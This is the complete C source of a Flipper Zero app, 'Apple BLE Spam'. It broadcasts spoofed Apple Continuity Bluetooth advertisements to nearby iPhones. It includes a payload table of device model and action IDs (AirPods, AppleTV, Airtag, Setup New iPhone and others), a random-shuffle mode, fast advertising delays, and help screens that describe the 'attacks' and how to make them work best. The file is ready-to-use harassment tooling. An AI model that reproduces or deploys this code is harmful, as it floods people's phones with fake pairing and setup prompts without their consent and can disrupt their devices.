apple_ble_spam.c 21 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697
  1. #include <gui/gui.h>
  2. #include <gui/elements.h>
  3. #include <furi_hal_bt.h>
  4. #include <furi_hal_random.h>
  5. #include "apple_ble_spam_icons.h"
  6. #include "lib/continuity/continuity.h"
  7. typedef struct {
  8. const char* title;
  9. const char* text;
  10. bool random;
  11. ContinuityMsg msg;
  12. } Payload;
  13. // Hacked together by @Willy-JL
  14. // Custom adv logic by @Willy-JL and @xMasterX
  15. // Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
  16. // Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
  17. // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
  18. // Airtag ID from https://techryptic.github.io/2023/09/01/Annoying-Apple-Fans/
  19. static Payload payloads[] = {
  20. #if false
  21. {.title = "AirDrop",
  22. .text = "",
  23. .random = false,
  24. .msg =
  25. {
  26. .type = ContinuityTypeAirDrop,
  27. .data = {.airdrop = {}},
  28. }},
  29. {.title = "Airplay Target",
  30. .text = "",
  31. .random = false,
  32. .msg =
  33. {
  34. .type = ContinuityTypeAirplayTarget,
  35. .data = {.airplay_target = {}},
  36. }},
  37. {.title = "Handoff",
  38. .text = "",
  39. .random = false,
  40. .msg =
  41. {
  42. .type = ContinuityTypeHandoff,
  43. .data = {.handoff = {}},
  44. }},
  45. {.title = "Tethering Source",
  46. .text = "",
  47. .random = false,
  48. .msg =
  49. {
  50. .type = ContinuityTypeTetheringSource,
  51. .data = {.tethering_source = {}},
  52. }},
  53. #endif
  54. {.title = "Random Action",
  55. .text = "Spam shuffle Nearby Actions",
  56. .random = true,
  57. .msg =
  58. {
  59. .type = ContinuityTypeNearbyAction,
  60. .data = {.nearby_action = {.flags = 0xC0, .type = 0x00}},
  61. }},
  62. {.title = "AppleTV AutoFill",
  63. .text = "Banner, unlocked, long range",
  64. .random = false,
  65. .msg =
  66. {
  67. .type = ContinuityTypeNearbyAction,
  68. .data = {.nearby_action = {.flags = 0xC0, .type = 0x13}},
  69. }},
  70. {.title = "AppleTV Connecting...",
  71. .text = "Modal, unlocked, long range",
  72. .random = false,
  73. .msg =
  74. {
  75. .type = ContinuityTypeNearbyAction,
  76. .data = {.nearby_action = {.flags = 0xC0, .type = 0x27}},
  77. }},
  78. {.title = "Join This AppleTV?",
  79. .text = "Modal, unlocked, spammy",
  80. .random = false,
  81. .msg =
  82. {
  83. .type = ContinuityTypeNearbyAction,
  84. .data = {.nearby_action = {.flags = 0xBF, .type = 0x20}},
  85. }},
  86. {.title = "AppleTV Audio Sync",
  87. .text = "Banner, locked, long range",
  88. .random = false,
  89. .msg =
  90. {
  91. .type = ContinuityTypeNearbyAction,
  92. .data = {.nearby_action = {.flags = 0xC0, .type = 0x19}},
  93. }},
  94. {.title = "AppleTV Color Balance",
  95. .text = "Banner, locked",
  96. .random = false,
  97. .msg =
  98. {
  99. .type = ContinuityTypeNearbyAction,
  100. .data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}},
  101. }},
  102. {.title = "Setup New iPhone",
  103. .text = "Modal, locked",
  104. .random = false,
  105. .msg =
  106. {
  107. .type = ContinuityTypeNearbyAction,
  108. .data = {.nearby_action = {.flags = 0xC0, .type = 0x09}},
  109. }},
  110. {.title = "Setup New Random",
  111. .text = "Modal, locked, glitched",
  112. .random = false,
  113. .msg =
  114. {
  115. .type = ContinuityTypeNearbyAction,
  116. .data = {.nearby_action = {.flags = 0x40, .type = 0x09}},
  117. }},
  118. {.title = "Transfer Phone Number",
  119. .text = "Modal, locked",
  120. .random = false,
  121. .msg =
  122. {
  123. .type = ContinuityTypeNearbyAction,
  124. .data = {.nearby_action = {.flags = 0xC0, .type = 0x02}},
  125. }},
  126. {.title = "HomePod Setup",
  127. .text = "Modal, unlocked",
  128. .random = false,
  129. .msg =
  130. {
  131. .type = ContinuityTypeNearbyAction,
  132. .data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}},
  133. }},
  134. {.title = "Random Pair",
  135. .text = "Spam shuffle Proximity Pairs",
  136. .random = true,
  137. .msg =
  138. {
  139. .type = ContinuityTypeProximityPair,
  140. .data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}},
  141. }},
  142. {.title = "AirPods Pro",
  143. .text = "Modal, spammy (auto close)",
  144. .random = false,
  145. .msg =
  146. {
  147. .type = ContinuityTypeProximityPair,
  148. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}},
  149. }},
  150. {.title = "Beats Solo 3",
  151. .text = "Modal, spammy (stays open)",
  152. .random = false,
  153. .msg =
  154. {
  155. .type = ContinuityTypeProximityPair,
  156. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}},
  157. }},
  158. {.title = "AirPods Max",
  159. .text = "Modal, laggy (stays open)",
  160. .random = false,
  161. .msg =
  162. {
  163. .type = ContinuityTypeProximityPair,
  164. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}},
  165. }},
  166. {.title = "Beats Flex",
  167. .text = "Modal, laggy (stays open)",
  168. .random = false,
  169. .msg =
  170. {
  171. .type = ContinuityTypeProximityPair,
  172. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}},
  173. }},
  174. {.title = "Airtag",
  175. .text = "Modal, unlocked",
  176. .random = false,
  177. .msg =
  178. {
  179. .type = ContinuityTypeProximityPair,
  180. .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}},
  181. }},
  182. {.title = "Hermes Airtag",
  183. .text = "",
  184. .random = false,
  185. .msg =
  186. {
  187. .type = ContinuityTypeProximityPair,
  188. .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}},
  189. }},
  190. {.title = "Setup New AppleTV",
  191. .text = "Modal, unlocked",
  192. .random = false,
  193. .msg =
  194. {
  195. .type = ContinuityTypeNearbyAction,
  196. .data = {.nearby_action = {.flags = 0xC0, .type = 0x01}},
  197. }},
  198. {.title = "Pair AppleTV",
  199. .text = "Modal, unlocked",
  200. .random = false,
  201. .msg =
  202. {
  203. .type = ContinuityTypeNearbyAction,
  204. .data = {.nearby_action = {.flags = 0xC0, .type = 0x06}},
  205. }},
  206. {.title = "HomeKit AppleTV Setup",
  207. .text = "Modal, unlocked",
  208. .random = false,
  209. .msg =
  210. {
  211. .type = ContinuityTypeNearbyAction,
  212. .data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}},
  213. }},
  214. {.title = "AppleID for AppleTV?",
  215. .text = "Modal, unlocked",
  216. .random = false,
  217. .msg =
  218. {
  219. .type = ContinuityTypeNearbyAction,
  220. .data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}},
  221. }},
  222. {.title = "AirPods",
  223. .text = "Modal, spammy (auto close)",
  224. .random = false,
  225. .msg =
  226. {
  227. .type = ContinuityTypeProximityPair,
  228. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}},
  229. }},
  230. {.title = "AirPods 2nd Gen",
  231. .text = "Modal, spammy (auto close)",
  232. .random = false,
  233. .msg =
  234. {
  235. .type = ContinuityTypeProximityPair,
  236. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}},
  237. }},
  238. {.title = "AirPods 3rd Gen",
  239. .text = "Modal, spammy (auto close)",
  240. .random = false,
  241. .msg =
  242. {
  243. .type = ContinuityTypeProximityPair,
  244. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}},
  245. }},
  246. {.title = "AirPods Pro 2nd Gen",
  247. .text = "Modal, spammy (auto close)",
  248. .random = false,
  249. .msg =
  250. {
  251. .type = ContinuityTypeProximityPair,
  252. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}},
  253. }},
  254. {.title = "Powerbeats 3",
  255. .text = "Modal, spammy (stays open)",
  256. .random = false,
  257. .msg =
  258. {
  259. .type = ContinuityTypeProximityPair,
  260. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}},
  261. }},
  262. {.title = "Powerbeats Pro",
  263. .text = "Modal, spammy (auto close)",
  264. .random = false,
  265. .msg =
  266. {
  267. .type = ContinuityTypeProximityPair,
  268. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}},
  269. }},
  270. {.title = "Beats Solo Pro",
  271. .text = "",
  272. .random = false,
  273. .msg =
  274. {
  275. .type = ContinuityTypeProximityPair,
  276. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}},
  277. }},
  278. {.title = "Beats Studio Buds",
  279. .text = "Modal, spammy (auto close)",
  280. .random = false,
  281. .msg =
  282. {
  283. .type = ContinuityTypeProximityPair,
  284. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}},
  285. }},
  286. {.title = "Beats X",
  287. .text = "Modal, spammy (stays open)",
  288. .random = false,
  289. .msg =
  290. {
  291. .type = ContinuityTypeProximityPair,
  292. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}},
  293. }},
  294. {.title = "Beats Studio 3",
  295. .text = "Modal, spammy (stays open)",
  296. .random = false,
  297. .msg =
  298. {
  299. .type = ContinuityTypeProximityPair,
  300. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}},
  301. }},
  302. {.title = "Beats Studio Pro",
  303. .text = "Modal, spammy (stays open)",
  304. .random = false,
  305. .msg =
  306. {
  307. .type = ContinuityTypeProximityPair,
  308. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}},
  309. }},
  310. {.title = "Beats Fit Pro",
  311. .text = "Modal, spammy (auto close)",
  312. .random = false,
  313. .msg =
  314. {
  315. .type = ContinuityTypeProximityPair,
  316. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}},
  317. }},
  318. {.title = "Beats Studio Buds+",
  319. .text = "Modal, spammy (auto close)",
  320. .random = false,
  321. .msg =
  322. {
  323. .type = ContinuityTypeProximityPair,
  324. .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}},
  325. }},
  326. };
  327. #define PAYLOAD_COUNT ((signed)COUNT_OF(payloads))
  328. struct {
  329. uint8_t count;
  330. ContinuityData** datas;
  331. } randoms[ContinuityTypeCount] = {0};
  332. uint16_t delays[] = {
  333. 20,
  334. 50,
  335. 100,
  336. 150,
  337. 200,
  338. 300,
  339. 400,
  340. 500,
  341. 750,
  342. 1000,
  343. 1500,
  344. 2000,
  345. 2500,
  346. 3000,
  347. 4000,
  348. 5000,
  349. };
  350. typedef struct {
  351. bool resume;
  352. bool advertising;
  353. uint8_t delay;
  354. uint8_t size;
  355. uint8_t* packet;
  356. Payload* payload;
  357. FuriThread* thread;
  358. uint8_t mac[GAP_MAC_ADDR_SIZE];
  359. int8_t index;
  360. } State;
  361. static int32_t adv_thread(void* ctx) {
  362. State* state = ctx;
  363. Payload* payload = state->payload;
  364. ContinuityMsg* msg = &payload->msg;
  365. ContinuityType type = msg->type;
  366. while(state->advertising) {
  367. if(payload->random) {
  368. uint8_t random_i = rand() % randoms[type].count;
  369. memcpy(&msg->data, randoms[type].datas[random_i], sizeof(msg->data));
  370. }
  371. continuity_generate_packet(msg, state->packet);
  372. furi_hal_bt_custom_adv_set(state->packet, state->size);
  373. furi_thread_flags_wait(true, FuriFlagWaitAny, delays[state->delay]);
  374. }
  375. return 0;
  376. }
  377. static void stop_adv(State* state) {
  378. state->advertising = false;
  379. furi_thread_flags_set(furi_thread_get_id(state->thread), true);
  380. furi_thread_join(state->thread);
  381. furi_hal_bt_custom_adv_stop();
  382. }
  383. static void start_adv(State* state) {
  384. state->advertising = true;
  385. furi_thread_start(state->thread);
  386. uint16_t delay = delays[state->delay];
  387. furi_hal_bt_custom_adv_start(delay, delay, 0x00, state->mac, 0x1F);
  388. }
  389. static void toggle_adv(State* state, Payload* payload) {
  390. if(state->advertising) {
  391. stop_adv(state);
  392. if(state->resume) furi_hal_bt_start_advertising();
  393. state->payload = NULL;
  394. free(state->packet);
  395. state->packet = NULL;
  396. state->size = 0;
  397. } else {
  398. state->size = continuity_get_packet_size(payload->msg.type);
  399. state->packet = malloc(state->size);
  400. state->payload = payload;
  401. furi_hal_random_fill_buf(state->mac, sizeof(state->mac));
  402. state->resume = furi_hal_bt_is_active();
  403. furi_hal_bt_stop_advertising();
  404. start_adv(state);
  405. }
  406. }
  407. #define PAGE_MIN (-5)
  408. #define PAGE_MAX PAYLOAD_COUNT
  409. enum {
  410. PageApps = PAGE_MIN,
  411. PageDelay,
  412. PageDistance,
  413. PageProximityPair,
  414. PageNearbyAction,
  415. PageStart = 0,
  416. PageEnd = PAYLOAD_COUNT - 1,
  417. PageAbout = PAGE_MAX,
  418. };
  419. static void draw_callback(Canvas* canvas, void* ctx) {
  420. State* state = ctx;
  421. const char* back = "Back";
  422. const char* next = "Next";
  423. switch(state->index) {
  424. case PageStart - 1:
  425. next = "Spam";
  426. break;
  427. case PageStart:
  428. back = "Help";
  429. break;
  430. case PageEnd:
  431. next = "About";
  432. break;
  433. case PageEnd + 1:
  434. back = "Spam";
  435. break;
  436. }
  437. canvas_set_font(canvas, FontSecondary);
  438. canvas_draw_icon(canvas, 3, 4, &I_apple_10px);
  439. canvas_draw_str(canvas, 14, 12, "Apple BLE Spam");
  440. switch(state->index) {
  441. case PageApps:
  442. canvas_set_font(canvas, FontBatteryPercent);
  443. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  444. elements_text_box(
  445. canvas,
  446. 4,
  447. 16,
  448. 120,
  449. 48,
  450. AlignLeft,
  451. AlignTop,
  452. "\e#Some Apps\e# interfere\n"
  453. "with the attacks, stay on\n"
  454. "homescreen for best results",
  455. false);
  456. break;
  457. case PageDelay:
  458. canvas_set_font(canvas, FontBatteryPercent);
  459. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  460. elements_text_box(
  461. canvas,
  462. 4,
  463. 16,
  464. 120,
  465. 48,
  466. AlignLeft,
  467. AlignTop,
  468. "\e#Delay\e# is time between\n"
  469. "attack attempts (top right),\n"
  470. "keep 20ms for best results",
  471. false);
  472. break;
  473. case PageDistance:
  474. canvas_set_font(canvas, FontBatteryPercent);
  475. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  476. elements_text_box(
  477. canvas,
  478. 4,
  479. 16,
  480. 120,
  481. 48,
  482. AlignLeft,
  483. AlignTop,
  484. "\e#Distance\e# is limited, attacks\n"
  485. "work under 1 meter but a\n"
  486. "few are marked 'long range'",
  487. false);
  488. break;
  489. case PageProximityPair:
  490. canvas_set_font(canvas, FontBatteryPercent);
  491. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  492. elements_text_box(
  493. canvas,
  494. 4,
  495. 16,
  496. 120,
  497. 48,
  498. AlignLeft,
  499. AlignTop,
  500. "\e#Proximity Pair\e# attacks\n"
  501. "keep spamming but work at\n"
  502. "very close range",
  503. false);
  504. break;
  505. case PageNearbyAction:
  506. canvas_set_font(canvas, FontBatteryPercent);
  507. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  508. elements_text_box(
  509. canvas,
  510. 4,
  511. 16,
  512. 120,
  513. 48,
  514. AlignLeft,
  515. AlignTop,
  516. "\e#Nearby Actions\e# work one\n"
  517. "time then need to lock and\n"
  518. "unlock the phone",
  519. false);
  520. break;
  521. case PageAbout:
  522. canvas_set_font(canvas, FontBatteryPercent);
  523. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "About");
  524. elements_text_box(
  525. canvas,
  526. 4,
  527. 16,
  528. 122,
  529. 48,
  530. AlignLeft,
  531. AlignTop,
  532. "App+spam by \e#WillyJL\e# XFW\n"
  533. "Pair codes by \e#ECTO-1A\e#\n"
  534. "BLE docs by \e#furiousMAC\e#\n"
  535. " Airtag \e#Techryptic\e#",
  536. false);
  537. break;
  538. default: {
  539. if(state->index < 0 || state->index > PAYLOAD_COUNT - 1) break;
  540. const Payload* payload = &payloads[state->index];
  541. char str[32];
  542. canvas_set_font(canvas, FontBatteryPercent);
  543. snprintf(str, sizeof(str), "%ims", delays[state->delay]);
  544. canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
  545. canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
  546. canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
  547. canvas_set_font(canvas, FontBatteryPercent);
  548. snprintf(
  549. str,
  550. sizeof(str),
  551. "%02i/%02i: %s",
  552. state->index + 1,
  553. PAYLOAD_COUNT,
  554. continuity_get_type_name(payload->msg.type));
  555. canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str);
  556. canvas_set_font(canvas, FontPrimary);
  557. canvas_draw_str(canvas, 4, 32, payload->title);
  558. canvas_set_font(canvas, FontSecondary);
  559. canvas_draw_str(canvas, 4, 46, payload->text);
  560. elements_button_center(canvas, state->advertising ? "Stop" : "Start");
  561. break;
  562. }
  563. }
  564. if(state->index > PAGE_MIN) {
  565. elements_button_left(canvas, back);
  566. }
  567. if(state->index < PAGE_MAX) {
  568. elements_button_right(canvas, next);
  569. }
  570. }
  571. static void input_callback(InputEvent* input, void* ctx) {
  572. FuriMessageQueue* input_queue = ctx;
  573. if(input->type == InputTypeShort || input->type == InputTypeLong ||
  574. input->type == InputTypeRepeat) {
  575. furi_message_queue_put(input_queue, input, 0);
  576. }
  577. }
  578. int32_t apple_ble_spam(void* p) {
  579. UNUSED(p);
  580. for(uint8_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) {
  581. if(payloads[payload_i].random) continue;
  582. randoms[payloads[payload_i].msg.type].count++;
  583. }
  584. for(ContinuityType type = 0; type < ContinuityTypeCount; type++) {
  585. if(!randoms[type].count) continue;
  586. randoms[type].datas = malloc(sizeof(ContinuityData*) * randoms[type].count);
  587. uint8_t random_i = 0;
  588. for(uint8_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) {
  589. if(payloads[payload_i].random) continue;
  590. if(payloads[payload_i].msg.type == type) {
  591. randoms[type].datas[random_i++] = &payloads[payload_i].msg.data;
  592. }
  593. }
  594. }
  595. State* state = malloc(sizeof(State));
  596. state->thread = furi_thread_alloc();
  597. furi_thread_set_callback(state->thread, adv_thread);
  598. furi_thread_set_context(state->thread, state);
  599. furi_thread_set_stack_size(state->thread, 2048);
  600. FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
  601. ViewPort* view_port = view_port_alloc();
  602. Gui* gui = furi_record_open(RECORD_GUI);
  603. view_port_input_callback_set(view_port, input_callback, input_queue);
  604. view_port_draw_callback_set(view_port, draw_callback, state);
  605. gui_add_view_port(gui, view_port, GuiLayerFullscreen);
  606. bool running = true;
  607. while(running) {
  608. InputEvent input;
  609. furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk);
  610. Payload* payload = (state->index >= 0 && state->index <= PAYLOAD_COUNT - 1) ?
  611. &payloads[state->index] :
  612. NULL;
  613. bool advertising = state->advertising;
  614. switch(input.key) {
  615. case InputKeyOk:
  616. if(payload) toggle_adv(state, payload);
  617. break;
  618. case InputKeyUp:
  619. if(payload && state->delay < COUNT_OF(delays) - 1) {
  620. if(advertising) stop_adv(state);
  621. state->delay++;
  622. if(advertising) start_adv(state);
  623. }
  624. break;
  625. case InputKeyDown:
  626. if(payload && state->delay > 0) {
  627. if(advertising) stop_adv(state);
  628. state->delay--;
  629. if(advertising) start_adv(state);
  630. }
  631. break;
  632. case InputKeyLeft:
  633. if(state->index > PAGE_MIN) {
  634. if(advertising) toggle_adv(state, payload);
  635. state->index--;
  636. }
  637. break;
  638. case InputKeyRight:
  639. if(state->index < PAGE_MAX) {
  640. if(advertising) toggle_adv(state, payload);
  641. state->index++;
  642. }
  643. break;
  644. case InputKeyBack:
  645. if(advertising) toggle_adv(state, payload);
  646. running = false;
  647. break;
  648. default:
  649. continue;
  650. }
  651. view_port_update(view_port);
  652. }
  653. gui_remove_view_port(gui, view_port);
  654. furi_record_close(RECORD_GUI);
  655. view_port_free(view_port);
  656. furi_message_queue_free(input_queue);
  657. furi_thread_free(state->thread);
  658. free(state);
  659. for(ContinuityType type = 0; type < ContinuityTypeCount; type++) {
  660. free(randoms[type].datas);
  661. }
  662. return 0;
  663. }